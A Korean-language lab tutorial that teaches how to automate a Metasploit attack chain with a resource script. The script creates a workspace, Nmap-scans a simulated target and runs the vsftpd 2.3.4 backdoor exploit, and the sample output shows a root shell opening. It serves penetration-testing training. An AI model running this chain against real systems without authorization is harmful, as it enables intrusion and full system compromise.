Metasploit 리소스 스크립트로 공격 자동화하기

Kali LinuxBeginner
지금 연습하기

소개

Metasploit 리소스 스크립트를 사용하여 공격을 자동화하는 실습에 오신 것을 환영합니다. Metasploit Framework 는 침투 테스트를 위한 강력한 도구이지만, 각 작업마다 명령을 수동으로 입력하는 것은 반복적이고 시간이 많이 소요될 수 있습니다. .rc 확장자를 가진 간단한 텍스트 파일인 리소스 스크립트를 사용하면 이러한 명령 시퀀스를 자동화할 수 있습니다.

이 실습에서는 취약한 서비스에 대한 완전한 공격 체인을 자동화하는 리소스 스크립트를 만드는 방법을 배우게 됩니다. 여기에는 워크스페이스 설정, 대상 스캔, 익스플로잇 선택, 구성 및 공격 실행이 포함됩니다. 이 실습이 끝나면 자체 스크립트를 만들어 침투 테스트 워크플로우를 간소화할 수 있습니다.

이 실습에서는 시뮬레이션된 취약한 머신을 대상으로 합니다. 대상 머신의 IP 주소는 10.0.2.15라고 가정합니다.

.rc 확장자를 가진 새 파일 생성

이 단계에서는 리소스 스크립트 파일을 생성합니다. Metasploit 리소스 스크립트는 단순히 순차적으로 실행되는 msfconsole 명령 목록을 포함하는 텍스트 파일입니다. 관례적으로 이러한 파일은 .rc 확장자를 가집니다.

nano 텍스트 편집기를 사용하여 기본 ~/project 디렉토리에 attack.rc라는 파일을 생성할 것입니다.

터미널을 열고 다음 명령을 실행하여 새 파일을 생성하고 엽니다.

nano attack.rc

이 명령은 nano 편집기에서 빈 파일을 엽니다. 지금은 빈 파일을 저장하고 Ctrl+X, Y, Enter를 눌러 편집기를 종료하십시오. 이제 다음 단계에서 내용을 채울 리소스 스크립트 파일을 생성했습니다.

파일에 msfconsole 명령 시퀀스 추가

이 단계에서는 리소스 스크립트에 초기 명령을 추가합니다. 이러한 명령은 테스트를 위한 전용 워크스페이스를 설정하고 대상에 대한 정보를 수집하기 위해 기본적인 Nmap 스캔을 실행합니다. 워크스페이스로 작업을 구성하는 것은 Metasploit 에서 좋은 습관입니다.

먼저 nano를 사용하여 attack.rc 파일을 다시 엽니다.

nano attack.rc

이제 파일에 다음 줄을 추가합니다. 첫 번째 명령은 vsftpd_lab이라는 새 워크스페이스를 생성하고, 두 번째 명령은 대상 (10.0.2.15) 에 대해 Nmap 스캔을 실행하고 결과를 데이터베이스에 저장합니다.

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15

이 두 줄을 추가한 후 attack.rc 파일은 정확히 다음과 같이 보여야 합니다. 파일을 저장하고 Ctrl+X, Y, Enter를 눌러 nano를 종료하십시오.

익스플로잇 사용, 옵션 설정 및 실행을 위한 명령 포함

이 단계에서는 스크립트에 핵심 공격 명령을 추가합니다. VSFTPD 서버의 알려진 취약점, 특히 vsftpd_234_backdoor 익스플로잇을 대상으로 할 것입니다. 이 익스플로잇을 선택하고 필요한 대상 옵션을 설정한 다음, 마지막으로 실행하는 명령을 추가합니다.

nano를 사용하여 attack.rc 파일을 다시 엽니다.

nano attack.rc

다음 명령을 파일 끝에 추가합니다. 이 명령은 Metasploit 에 다음을 지시합니다.

  1. use exploit/unix/ftp/vsftpd_234_backdoor: 특정 익스플로잇 모듈을 선택합니다.
  2. set RHOSTS 10.0.2.15: RHOSTS(원격 호스트) 옵션을 대상의 IP 주소로 설정합니다.
  3. exploit: 공격을 시작합니다.
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

이 줄들을 추가한 후, 완성된 attack.rc 파일은 이제 다음 다섯 개의 명령을 포함해야 합니다.

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

변경 사항을 저장하고 nano 편집기를 종료합니다 (Ctrl+X, Y, Enter). 이제 자동화된 공격 스크립트가 완성되었습니다.

스크립트 실행을 위해 -r 플래그로 msfconsole 실행

이 단계에서는 방금 생성한 리소스 스크립트를 실행합니다. Metasploit 콘솔인 msfconsole-r 플래그와 리소스 스크립트 경로를 함께 사용하여 실행할 수 있습니다. 이렇게 하면 Metasploit 이 시작 시 지정된 파일의 명령을 실행하도록 지시합니다.

attack.rc 파일이 있는 ~/project 디렉토리에 있는지 확인하십시오. 이제 터미널에서 다음 명령을 실행합니다.

msfconsole -r attack.rc

이 명령은 Metasploit Framework 를 시작합니다. 즉시 일반적인 msf6 > 프롬프트가 표시되는 대신, attack.rc의 각 명령을 하나씩 실행하기 시작합니다.

공격 체인의 자동 실행 관찰

이 마지막 단계에서는 자동화된 스크립트의 결과를 관찰합니다. msfconsole이 실행됨에 따라 attack.rc 파일의 각 명령에 대한 출력을 볼 수 있습니다. 워크스페이스 생성, Nmap 스캔 실행, 익스플로잇 구성, 그리고 마지막으로 공격 시작을 보게 될 것입니다.

공격이 성공하면 Metasploit 은 대상 시스템에 명령 쉘 세션을 엽니다. 다음과 유사한 메시지가 표시됩니다.

[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400

이제 침해된 대상 시스템의 쉘에 접속했습니다. 이를 확인하기 위해 whoami와 같은 명령을 실행하여 어떤 사용자로 실행 중인지 확인할 수 있습니다.

whoami

예상되는 출력은 다음과 같습니다.

root

이는 자동화된 스크립트가 대상 시스템을 성공적으로 침해하고 루트 권한을 획득했음을 확인합니다.

정리를 위해 exit를 입력하여 명령 쉘 세션을 닫고, 다시 exit를 입력하여 msfconsole을 종료합니다.

요약

이 실습에서는 Metasploit 리소스 스크립트를 사용하여 침투 테스트 워크플로우를 자동화하는 방법을 성공적으로 학습했습니다.

먼저 리소스 스크립트 파일 (attack.rc) 을 생성했습니다. 그런 다음 워크스페이스 생성, 대상 스캔, 익스플로잇 선택 및 구성, 마지막으로 공격 시작 등 전체 공격 체인을 수행하기 위한 일련의 msfconsole 명령으로 채웠습니다. msfconsole -r 명령을 사용하여 이 스크립트를 실행하는 방법을 배우고 자동화된 실행을 관찰했습니다.

이 기술은 보안 평가에서 시간을 절약하고 일관성을 보장하는 데 매우 중요합니다. 이제 더 복잡한 스크립트를 만들어 향후 작업에서 다양한 반복 작업을 자동화할 수 있습니다.